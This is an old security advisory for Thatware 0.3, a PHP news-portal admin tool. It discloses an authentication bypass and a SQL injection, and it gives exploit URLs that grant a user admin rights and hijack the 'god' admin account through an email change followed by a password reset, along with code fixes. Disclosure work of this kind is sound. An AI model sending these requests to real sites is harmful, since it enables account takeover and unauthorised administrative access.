thatware.txt

Summary

The security vulnerabilities in Thatware allows attacker to gain
administrative access thatware.txt

Summary

The security vulnerabilities in Thatware allows attacker to gain
administrative access to the application. Thatware is a news
portal administration, open source, and freely downloaded at:

http://www.atthat.com/


Vulnerable systems

Thatware 0.3


Exploit 1:

If we send it

http://site/admin.php3?user=anyone

the script will give $auth_rights = FALSE and goes on to:

if (sizeof($auth_rights)>0) {
$admintest=1;

This will succeed and open access to all functions in admin.php3.
It is caused by the fact that sizeof($x), where $x is a variable
that is set but is not an array, returns 1.

The following exploit will elevate 'someuser' status to admin:

http://site/admin.php3?user=anyone&op=AddAdmin
&add_root=&add_uname=someuser

Fix:

For a quick fix, simply rename admin.php3. And for those who might
think security through obscurity is not quite enough, well, we
should get into the code.

In auth.inc.php3, use conditional to check if $admin[0] dan
$admin[2] are empty (null or zero) before sending a query, e.g.

if (empty($admin[0]) || empty($admin[2])){exit;}

then replace

if (sizeof($auth_rights)>0)

with

if (!empty($auth_rights))

Anyway, these won't defend us against another form of exploit.


Exploit 2:

Unquotted variables from user input parsed directly into SQL
statements provide a way to the second exploit. For example, in
user.php3, under function saveuser():

update users_info set name='$name', email='$email',
femail='$femail', url='$url', bio='$bio' where uid=$uid

The attacker could hijack e.g. 'god' admin account by first sending
it:

http://site/user.php3?op=Save%20User&email=cracker@domain
&uname=god&uid=blabla%20or%20uname%3Dchar(103,111,100)

that will alter email address to cracker@domain. Note that those
numbers (103,111,100) are ascii sequence for 'god' (the attacker
cannot just put uname%3D'god' since PHP3/4 will quote it into
uname=\'god\' which will produce an invalid SQL statement).

Now, simply by sending it

htt://site/user.php?op=mailpasswd&uname=god

will alter the admin's password to a new password, then mail the
new password to cracker's mailbox. Note: using the similar
method, Thatware 0.2 or below are vulnerable to users accounts
hijacking (admins' reside on the different table).

Fix:

Simply quote all numeric data in SQL statements. Instead of
"select * from users where uid=$uid", use "select * from users
where uid='$uid'". MySQL automatically converts this to a number
and meanwhile strips all non-numeric symbols from it.


Fabian Clone (This email address is being protected from spambots. You need JavaScript enabled to view it.)




____________________________________________________________________
Get free email and a permanent address at http://www.amexmail.com/?A=1